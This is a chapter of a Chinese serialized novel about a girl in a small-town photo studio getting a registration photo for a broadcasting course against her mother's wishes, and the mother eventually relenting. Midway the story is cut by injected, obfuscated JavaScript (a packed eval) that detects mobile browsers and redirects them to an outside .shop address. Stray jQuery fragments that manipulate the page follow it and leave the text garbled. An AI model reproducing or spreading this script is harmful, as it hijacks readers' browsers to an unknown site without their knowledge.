小姑娘说完那句“能不能别让我妈知道”，红叶照相馆里一下安静了。
韩师傅刚才还在里头嚷嚷“照相馆不拍照片拍黄瓜”，这会儿人已经从柜台后探出半个身子，眼睛往她怀里的纸袋上瞄。
梁潮生也看见了那张报名表。
省城广播培训班报名登记表。
几个字印得不算清楚，纸边还有折痕，像被人藏进书包里很久，拿出来又塞回去，来来回回，终于鼓起胆子带到这里。
周念安先问：“你叫什么？”
小姑娘攥紧纸袋：“陶小满。”
“哪个班的？”
“高二四班。”
梁潮生挑眉：“你们高二也这么卷？”
陶小满没听懂“卷”，只更紧张地低头：“我、我不是来添麻烦的。我有钱。”
她从口袋里掏出一把毛票和硬币，一角、两角、五分，摊在手心里，像攒了很久。
“我问过，报名照要一寸，三张。我只拍最便宜的就行，不用洗太多。”
韩师傅走出来，拿起她的报名表看了看。
“明天截止？”
陶小满点头。
“怎么现在才来？”
她咬了咬唇：“我妈不让。”
这四个字出来，屋里几个人都没立刻说话。
太熟了。
熟到周念安差点以为，自己又回到了昨天那张饭桌前。
梁潮生却把椅子往外一拉：“先坐。”
陶小满没动。
她看了周念安一眼，又看了看梁潮生，像怕自己一坐下，就真的成了什么做错事的人。
周念安说：“拍照可以。但我们不能帮你骗家里人，也不能替你交表。照片给不给学校，怎么跟家里说，是你自己的事。”
陶小满怔了一下，随即用力点头。
“我知道。”她声音很小，“我就是想先有照片。”
这句话听着轻，却叫人心里发酸。
很多路不是从车票开始的。
是从一张小小的报名照开始。先证明自己可以出现在那张表上，才敢想后面的事。
韩师傅清了清嗓子，把报名表还给她。
“拍可以。坐那儿，蓝布帘前面。”
陶小满连忙把零钱往柜台上推：“多少钱？”
韩师傅瞥了一眼：“先欠着。”
陶小满急了：“我有钱！”
“你那点钱留着坐车。”韩师傅说，“我这儿跑不了。”
梁潮生低声跟周念安说：“韩叔刚才还说我们把照相馆当派出所，现在又改慈善堂了。”
韩师傅耳朵尖：“小梁，你再多嘴，明天开始收你场地费。”
梁潮生立刻闭嘴。
陶小满坐到蓝布帘前时，比刚才站着还僵。
背挺得太直，双手规规矩矩放在膝盖上，脸绷着，眼睛睁得很大，像不是来拍报名照，是来接受审讯。
韩师傅从相机后面抬起头。
“小姑娘，你放松点。”
陶小满更僵了。
梁潮生靠在门边，慢悠悠接了一句：“你是去报名，不是去自首。”
陶小满“啊”了一声，脸一下红了。
周念安瞪他：“你别吓她。”
“我在缓和气氛。”
“你像扰乱秩序。”
“那你来。”
周念安走到陶小满旁边，替她把歪掉的衣领理平。
陶小满穿的是洗得发白的蓝布褂，领口有一道细细的缝补痕。她下意识想躲，周念安手停了一下，等她不再缩，才继续帮她把头发别到耳后。
“下巴不用抬那么高。”周念安说，“看镜头就好。”
陶小满小声问：“我这样能行吗？”
“能。”
“我妈说我说话声音小，出去也没人听得见。”
周念安看着镜子里她的眼睛：“那就先让照片替你站到那里。”
陶小满愣住。
梁潮生原本还要插科打诨，听见这句，手里的螺丝刀停了一下。
韩师傅在相机后头咳了咳：“好了啊，别把人说哭了。证件照哭出来，我还得重拍。”
陶小满本来眼眶已经发热，被他这么一打岔，反倒笑了一下。
咔嚓。
韩师傅抓住这一瞬，按下快门。
“行了。”他说，“就这张。”
陶小满傻傻地问：“不用再拍？”
“再拍就没刚才好看了。”韩师傅把相机放下，“小姑娘，报名照不讲究多漂亮，讲究眼睛里有劲儿。你刚才那一下，有。”
陶小满低下头，耳朵红了。
梁潮生凑过去：“韩叔，你平时拍我怎么不这么夸？”
韩师傅：“你眼睛里全是欠揍，不好夸。”
周念安没忍住笑了。
梁潮生立刻看她：“你今天笑得比以前多。”
她收住：“没有。”
“这回韩叔也看见了。”
韩师傅连忙摆手：“我没看见，我年纪大，眼神不好。”
陶小满看着他们，终于没刚才那么紧张，嘴角也悄悄松开一点。
韩师傅去暗房洗照片。
照相馆外的天已经黑了，玻璃橱窗映着屋里几个人的影子。陶小满坐在长凳上，纸袋还紧紧抱在怀里。
周念安给她倒了杯热水。
“你为什么想报广播培训班？”
陶小满两只手捧着搪瓷杯，想了很久才说：“我喜欢听广播。”
梁潮生靠在柜台边：“这个理由不算稀奇，厂区里谁家没台收音机。”
“不是听歌。”陶小满小声说，“是听别人说话。”
她抬头看向他们，又很快低下去。
“我家在锅炉房后头那排平房，晚上我妈摆摊回来，常常累得不想说话。我爸以前在厂里开车，后来病了，家里更安静。只有收音机一响，我就觉得屋里还有别人。”
她顿了一下。
“孟小舟姐姐以前在学校广播站念稿，我每天都听。她念得特别好，好像不管多旧的喇叭，都能把话说得很远。”
周念安心里微微一动。
“她知道你要报名吗？”
陶小满摇头：“不知道。”
过了一会儿，她又说：“报名表是我自己拿的。文化宫门口贴着通知，我抄了一张回来。”
梁潮生笑了：“还挺有胆子。”
陶小满脸红：“我胆子不大。”
周念安说：“你已经来了。”
这句话让陶小满抿住嘴。
她低头看杯子里的热水，水面晃了一下。
“我妈说，我爸还要看病，家里不能再出一个想往远处跑的人。”她说，“她不是不疼我。她就是怕。”
周念安听到这里，忽然觉得陶小满比她想的更清楚。
清楚有时候比糊涂难。
糊涂可以怨，可以闹；清楚以后，连恨都没有那么痛快。
梁潮生没说话，伸手拨了拨柜台上的旧台灯。灯泡闪了两下，又稳住。
“你妈卖什么？”
陶小满愣了愣：“包子。”
“哪儿？”
“北门。”
梁潮生若有所思：“北门那个每天喊‘肉包素包刚出锅’的？”
陶小满点头。
梁潮生说：“那你声音小不像你妈。”
陶小满被他说得有点窘：“她也这么说。”
周念安问：“报名费多少？”
“十二块。”
这数目一出来，屋里几个人都静了一下。
十二块在有些人眼里不算天塌下来的钱，可对陶小满家来说，可能是半个月药钱，是几天摊费，是许多顿饭里省出来的肉。
陶小满连忙说：“我不是来借钱的。我攒了七块八，还差一点。我可以去帮人抄稿，也可以帮照相馆扫地。”
韩师傅从暗房里出来，正好听见最后一句。
“我这地用不着你扫。”他把湿照片夹在绳子上，“不过北门包子摊要是想多卖点包子，可以录一段吆喝。”
梁潮生眼睛一亮。
“韩叔，您这话有水平。”
韩师傅警惕：“你又想干什么？”
梁潮生已经从桌上拿过点歌本：“回声点歌本可以扩一项业务。生日祝福、家书、点歌，再加一个小摊吆喝。”
周念安立刻说：“不能乱夸。”
“知道。”梁潮生拿笔在纸上写，“不许说吃了包子包治百病，不许说全厂第一，除非真比过。”
韩师傅乐了：“那你打算怎么录？”
梁潮生清了清嗓子，拿起话筒，压低声音：
“北门陶记包子，热的，实的，刚出锅的。买两个肉包，少吵一架；买两个素包，回家也香。”
陶小满呆住。
周念安忍了忍：“买包子和少吵架有什么关系？”
梁潮生一本正经：“人饿了容易吵。”
韩师傅拍着柜台笑。
陶小满也笑了，这回笑得比拍照时更明显。
照相馆门口却在这时响起一道女声。
“陶小满！”
陶小满脸上的笑一下没了。
周念安回头。
门口站着个中年女人，围着旧围裙，袖口沾着面粉，手里还拎着一只装包子的竹篮。她喘得厉害，显然是一路找过来的。
陶小满猛地站起来：“妈……”
女人先看见她，又看见挂在绳子上的照片，最后目光落到桌上的报名表。
她脸色变了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706610|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“小满，你真来拍了？”
陶小满嘴唇动了动：“妈，我……”
“你知不知道你爸今天药还没拿？”女人声音不大，却抖得厉害，“你知不知道摊子我一个人忙不过来？你知不知道那个省城培训班要钱？”
陶小满脸白了。
她点头：“我知道。”
“知道你还来？”
“因为明天就截止了。”
女人愣住。
陶小满抱紧纸袋，声音还是小，却没有退。
“妈，我不是不管家。我也不是非要现在就走。我就是想先报上名。能不能录取还不知道。要是考不上，我认。要是考上了，我们再想办法。”
她说完，眼泪掉下来。
“我不想连照片都没有。”
包子篮子从女人手里往下坠了一点。
周念安心口微酸。
她太知道这句话的重量。
陶小满的母亲站在门口，脸上的火气一点点塌下来，塌成一种说不出的疲惫。
“你爸要是知道……”
“他会说让我去。”陶小满忽然打断她，“他以前就说过，我声音好听。”
女人眼圈一下红了。
屋里没人再说话。
过了很久，她转过头，像是怕人看见眼泪，狠狠擦了一把脸。
“照片多少钱？”
陶小满急忙说：“我有钱。”
“问你了吗？”女人瞪她一眼，又看向韩师傅，“师傅，多少钱？”
韩师傅看了她一会儿，说：“证件照三张，一块二。”
陶小满急了：“不是说最便宜的八毛吗？”
韩师傅面不改色：“刚涨。”
梁潮生差点笑出声，被周念安用眼神压住。
女人从围裙兜里掏钱，数出一块二放到柜台上。
“洗好给她。”她说，“明天她自己去交。”
陶小满呆住：“妈？”
女人拎起竹篮，没看她。
“先说好，考不上不许在家哭三天。考上了，学费自己也得想办法。家里不是金库，你妈也不是财神爷。”
陶小满用力点头，眼泪掉得更凶。
“还有。”女人走到门口，回头，“你们刚才说的那个包子吆喝，怎么录？”
梁潮生立刻站直：“阿姨，这个我专业。”
周念安看他。
他补充：“当然，要先按规矩来，不乱夸，不骗人，不强买强卖。”
女人皱眉：“我包子本来就实在，用得着骗人？”
梁潮生笑了：“那就好办。”
那天晚上，红叶照相馆第一次录了不是点歌、不是生日、也不是家书的东西。
陶小满的母亲站在话筒前，一开始比女儿还僵。
梁潮生教了半天，她一张口，声音响得差点把录音机震出杂音：
“北门陶记包子，热的，实的，刚出锅！”
韩师傅在旁边捂耳朵。
梁潮生小声说：“这嗓门，不去广播站可惜了。”
陶小满抹着眼泪笑。
周念安站在一旁，看见绳子上那张还没完全干的报名照。
照片里的陶小满坐得很直，眼睛亮着，像终于把自己放进了一条还没走过的路里。
半小时后，照片装进纸袋。
陶小满和她母亲走出照相馆时，门口的路灯正好亮起。
梁潮生把录好的“包子吆喝”磁带交给陶母，收了五毛钱材料费。
周念安没拦。
因为陶母给钱时，表情很认真。那不是施舍，也不是占便宜，是一桩清清楚楚的交换。
这很重要。
等人走远，梁潮生把五毛钱放进铁盒。
“周厂长。”他说，“咱们有第一笔正经收入了。”
周念安低头，在点歌本上新增一栏：
小摊录音。
想了想，她又在后面写：
不虚夸，不骗人，先试听。
梁潮生看着那几个字，忽然说：“周念安，以后要是你不考财经，开店也行。”
“我为什么不能又考财经又开店？”
梁潮生愣了一下。
随即笑了。
“也是。”他说，“你胃口比我想的大。”
周念安把本子合上：“这叫规划。”
“行，规划。”
韩师傅把门板卸下来准备关门，忽然“咦”了一声。
“这儿怎么还有一张？”
柜台下面，不知什么时候落着一张没署名的小纸条。
梁潮生捡起来，看了一眼，脸上的笑慢慢收住。
周念安接过。
纸条上写着：
想让陶小满顺利报名，明天别让她走学校正门。